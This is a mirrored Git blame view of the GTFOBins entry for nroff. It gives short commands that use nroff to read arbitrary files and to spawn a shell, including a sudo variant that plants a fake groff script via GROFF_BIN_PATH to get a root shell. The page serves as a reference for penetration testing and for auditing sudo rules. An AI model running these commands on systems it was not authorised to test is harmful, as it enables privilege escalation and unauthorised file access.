1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-09-16 17:01:38 +02:00
GTFOBins.github.io/_gtfobins/nroff.md

23 lines
535 B
Markdown
Raw Permalink Normal View History

2020-03-17 07:34:57 +01:00
---
functions:
2020-11-13 11:57:13 +01:00
file-read:
2020-12-20 20:54:05 +01:00
- description: The file is typeset and some warning messages may appear.
2020-11-13 11:57:13 +01:00
code: |
LFILE=file_to_read
nroff $LFILE
2020-03-17 07:34:57 +01:00
shell:
- code: |
TF=$(mktemp -d)
echo '#!/bin/sh' > $TF/groff
echo '/bin/sh' >> $TF/groff
chmod +x $TF/groff
GROFF_BIN_PATH=$TF nroff
sudo:
- code: |
TF=$(mktemp -d)
echo '#!/bin/sh' > $TF/groff
echo '/bin/sh' >> $TF/groff
chmod +x $TF/groff
sudo GROFF_BIN_PATH=$TF nroff
2020-03-17 07:34:57 +01:00
---